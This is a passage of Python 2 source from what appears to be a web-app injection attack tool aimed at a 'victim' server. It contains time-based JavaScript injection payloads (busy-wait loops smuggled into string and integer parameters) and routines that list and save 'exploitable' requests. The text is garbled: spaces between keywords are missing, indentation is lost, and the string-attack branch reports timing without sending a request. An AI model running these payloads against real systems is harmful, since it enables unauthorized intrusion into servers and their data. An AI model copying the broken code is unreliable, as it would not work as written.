doTimeAttack=raw_input("Start timing based tests (y/n)? ")
ifdoTimeAttack=="y"ordoTimeAttack=="Y":
print"Starting Javascript string escape time based injection..."
postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
print"HTTP load time variance was "+str(strTimeDelta) +" seconds! Injection possible."
strTbAttack=True
else:
print"HTTP load time variance was only "+str(strTimeDelta) +" seconds. Injection probably didn't work."
strTbAttack=False
print"Starting Javascript integer escape time based injection..."
postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
body=urllib.urlencode(postData)
start=time.time()
conn=urllib2.urlopen(req,body)
page=conn.read()
end=time.time()
conn.close()
printstr(end)
printstr(start)
intTimeDelta= ((end-start) -timeBase)
#print str(strTimeDelta)
ifintTimeDelta>25:
print"HTTP load time variance was "+str(intTimeDelta) +" seconds! Injection possible."
intTbAttack=True
else:
print"HTTP load time variance was only "+str(intTimeDelta) +" seconds. Injection probably didn't work."
intTbAttack=False
print"\n"
print"Exploitable requests:"
print"\n".join(vulnAddrs)
print"\n"
print"Possibly vulnerable requests:"
print"\n".join(possAddrs)
print"\n"
print"Timing based attacks:"
ifstrTbAttack==True:
print"String attack-Successful"
else:
print"String attack-Unsuccessful"
ifintTbAttack==True:
print"Integer attack-Successful"
else:
print"Integer attack-Unsuccessful"
fileOut=raw_input("Save results to file (y/n)? ")
iffileOutinyes_tag:
savePath=raw_input("Enter output file name: ")
fo=open(savePath, "wb")
fo.write ("Vulnerable Requests:\n")
fo.write("\n".join(vulnAddrs))
fo.write("\n\n")
fo.write("Possibly Vulnerable Requests:\n")
fo.write("\n".join(possAddrs))
fo.write("\n")
fo.write("Timing based attacks:\n")
ifstrTbAttack==True:
fo.write("String Attack-Successful\n")
else:
fo.write("String Attack-Unsuccessful\n")
fo.write("\n")
ifintTbAttack==True:
fo.write("Integer attack-Successful\n")
else:
fo.write("Integer attack-Unsuccessful\n")
fo.write("\n")
fo.close()
raw_input("Press enter to continue...")
return()
defgetApps():
print"Web App Attacks (GET)"
print"==============="
paramName= []
globaltestNum
testNum=1
paramValue= []
globalvulnAddrs
vulnAddrs= []
globalpossAddrs
possAddrs= []
timeVulnsStr= []
timeVulnsInt= []
appUp=False
strTbAttack=False
intTbAttack=False
trueStr=False
trueInt=False
globallt24
lt24=False
globalstr24
str24=False
globalint24
int24=False
#Verify app is working.
print"Checking to see if site at "+str(victim) +":"+str(webPort) +str(uri) +" is up..."